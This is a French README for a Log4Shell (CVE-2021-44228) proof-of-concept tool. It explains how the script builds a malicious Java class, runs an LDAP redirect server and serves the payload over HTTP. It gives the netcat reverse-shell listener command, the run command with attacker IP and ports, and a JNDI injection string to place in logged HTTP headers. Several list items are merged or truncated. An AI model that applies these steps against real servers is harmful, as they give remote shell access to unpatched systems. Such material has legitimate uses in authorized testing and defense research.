
Un Proof-Of-Concept pour la vulnérabilité CVE-2021-44228.
Preuve de concept pour la vulnérabilité Log4j (CVE-2021-44228), également connue sous le nom de Log4Shell. Cet outil génère une classe Java malveillante, démarre un serveur de redirection LDAP et sert la charge utile via HTTP, permettant à un attaquant distant d'exécuter des commandes arbitraires sur une cible vulnérable.
poc.py :
jdk1.8.0_20/ – une copie du JDK Oracle 1.8.0_20 (contient bin/javac et bin/java). Si absent, le script tentera d'utiliser les commandes javac et du système.javatarget/marshalsec-0.0.3-SNAPSHOT-all.jar – le fichier JAR marshalsec utilisé pour démarrer le serveur LDAP.jdk1.8.0_20 et le JAR marshalsec comme décrit ci-dessus.pip install -r requirements.txt
Exécutez le script avec Python :
python3 poc.py [OPTIONS]
| Argument | Type | Défaut | Description |
|---|---|---|---|
--userip | chaîne | IPv4 auto-détectée | Adresse IP à laquelle les serveurs LDAP et HTTP se lient et qu'ils annoncent. Elle doit être accessible depuis la machine cible. |
--webport | entier | 8000 | Port du serveur HTTP qui sert la classe Exploit.class compilée. |
--lport | entier | 9001 | Port sur lequel votre écouteur netcat attend le shell inverse. La charge utile se reconnectera à userip:lport. |
Démarrez un écouteur netcat sur votre machine d'attaque (remplacez 9001 par le port choisi) :
nc -lvnp 9001
Exécutez l'exploit :
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
Si vous omettez --userip, le script utilisera automatiquement l'adresse IPv4 principale de votre machine.
Le script affichera une chaîne de charge utile à injecter dans la cible vulnérable, par exemple :
${jndi:ldap://192.168.1.10:1389/a}
Injectez cette chaîne dans tout champ de saisie ou en-tête HTTP journalisé par une instance Log4j vulnérable (par exemple, User-Agent, X-Forwarded-For, etc.). La cible se connectera au serveur LDAP, récupérera la classe malveillante depuis le serveur HTTP et exécutera le shell inverse.
Vous devriez voir une connexion shell apparaître dans votre écouteur netcat.
Exploit.java contenant le code qui ouvre un shell inverse vers userip:lport.javac système).webport pour héberger la classe Exploit.class compilée./bin/sh et est destinée aux systèmes cibles de type Unix. Pour des cibles Windows, vous devrez modifier la commande à l'intérieur de Exploit.java.webport et lport) et que la cible peut atteindre votre machine.Le script supprime automatiquement Exploit.java et Exploit.class à la sortie (normalement ou après un KeyboardInterrupt). Si vous devez conserver ces fichiers pour le débogage, commentez le bloc finally dans poc.py.
Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.